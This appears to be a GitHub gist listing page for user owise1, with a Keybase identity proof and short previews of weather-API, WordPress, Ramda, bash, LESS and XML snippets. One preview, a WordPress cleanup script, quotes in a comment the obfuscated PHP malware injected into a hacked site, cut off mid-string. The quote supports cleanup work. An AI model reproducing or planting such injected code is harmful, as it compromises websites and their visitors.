I hereby claim:
- I am owise1 on github.
- I am owise1 (https://keybase.io/owise1) on keybase.
- I have a public key whose fingerprint is DDDF B7C7 A0B1 9A44 FA04 1AF5 47F1 31C5 A950 D51C
To claim this, I am signing this object:
const AmbientWeatherApi = require('ambient-weather-api') | |
// helper function | |
function getName (device) { | |
return device.info.name | |
} | |
const apiKey = process.env.AMBIENT_WEATHER_API_KEY || 'Put your AW apiKey here' | |
const api = new AmbientWeatherApi({ | |
apiKey, |
'use strict'; | |
function sayHello() { | |
if (navigator.userAgent.toLowerCase().indexOf('chrome') > -1) { | |
var args = ['\n %c Made with ♥ by Dogstudio %c %c %c http://www.dogstudio.be/ %c %c🐶 \n\n', 'color: #fff; background: #b0976d; padding:5px 0;', 'background: #494949; padding:5px 0;', 'background: #494949; padding:5px 0;', 'color: #fff; background: #1c1c1c; padding:5px 0;', 'background: #fff; padding:5px 0;', 'color: #b0976d; background: #fff; padding:5px 0;']; | |
window.console.log.apply(console, args); | |
} else if (window.console) { | |
window.console.log('Made with love ♥ Dogstudio - http://www.dogstudio.be/ 🐶'); | |
} |
<?php | |
/** | |
* Useful Wordpress Functions | |
*/ | |
function first_img($id) { | |
$files = get_children('post_parent='.$id.'&post_type=attachment&post_mime_type=image'); | |
if($files) : | |
$keys = array_reverse(array_keys($files)); | |
$j=0; |
I hereby claim:
To claim this, I am signing this object:
// depends on ramda.js | |
var owise1 = { | |
// takes: object | |
// returns: array containing the keys that are truthy | |
trueKeys : R.compose(R.keys, R.pickBy(function(v,k){ return v })), | |
// takes: two arrays | |
// returns: bool | |
doArraysIntersect : R.curry(function(firstList, secondList){ | |
return R.reduce(function(prev, curr){ |
#!/bin/bash | |
# -s - look for smaller files | |
size=100000 | |
while getopts s ARG; do | |
case "$ARG" in | |
s) shift | |
size=10000;; |
<? | |
/** | |
* A script to cleanup a hacked Wordpress site. | |
* | |
* The hacker prepended the following to most/all of the .php files: | |
* <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $uispnwkeuy = 'c%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sbx7825))!gj!<*#cd2bge56+99386c825tzw%x5c%x782f%x5c%75%156%x61"]=1; functio8y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvx7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuop%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5cpd%x5c%x78256<pd%x5c%x7825w6Zj%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]2212]445]43]321]464]284]364]6]234]342]58]24]315c%x5c%x7825j^%x5c%x7824-%x5c%x782 |
a{ | |
cursor: pointer; | |
} | |
.rel{ | |
position: relative; | |
} | |
.b100(@width: 100%){ | |
display: block; | |
width: @width; |
/** | |
* Sometimes you don't want a giant library to deal with simple XML | |
* | |
* @param $tag - the XML tag you want the contents of | |
* - nested elements can be fetched using '>'. ex: 'Location>Address' | |
* @param $xmlStr - the XML | |
*/ | |
function xmlGetItem($tag, $xmlStr){ | |
$xmlStr = str_replace("\n", '', $xmlStr); | |
if(strstr($tag, '>')){ |